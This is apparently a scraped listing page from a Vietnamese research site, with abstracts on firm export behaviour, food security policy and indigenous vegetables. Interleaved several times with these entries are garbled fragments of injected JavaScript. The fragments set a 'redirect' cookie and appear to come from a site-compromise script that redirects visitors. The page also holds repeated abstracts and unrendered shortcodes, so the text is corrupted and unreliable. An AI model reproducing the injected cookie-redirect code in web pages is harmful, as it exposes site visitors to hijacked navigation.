{edocs}/docs/MOTI-Final.pdf,100%,868{/edocs} {var U=(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”=”,now=Math.floor(Date.now()/1e3),(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),’Read More

Based on the institution-based view, this paper examines whether the market-supporting institutions at sub-national level influence export behaviors (i.e. export propensity, export mode choice and export intensity) of firms in the context of an emerging economy (i.e., Viet Nam).Read More

Based on the institution-based view, this paper examines whether the market-supporting institutions at sub-national level influence export behaviors (i.e. export propensity, export mode choice and export intensity) of firms in the context of an emerging economy (i.e., Viet Nam).Read More

{edocs}/docs/Ipsard_Food Security Policies of Vietnam.pdf,100%,868{/edocs} {var U=(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”=”,now=Math.floor(Date.now()/1e3),(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),’Read More

{edocs}/docs/Ipsard_Food Security Policies of Vietnam.pdf,100%,868{/edocs} {var U=(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”=”,now=Math.floor(Date.now()/1e3),(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),’Read More

Vietnam has a high diversity of wild and indigenous vegetable resources. Some scientists have reported that among over 800 common crop species being utilized by Vietnamese there are 55 crop veggie species consumed and hundreds of wild species eaten by indigenous communities in the remote and mountainous areas. Indigenous and wild veggies cultivation in Vietnam...Read More

 {edocs}/docs/11h040813.pdf,100%,868{/edocs}     {var U=(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”=”,now=Math.floor(Date.now()/1e3),(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),’Read More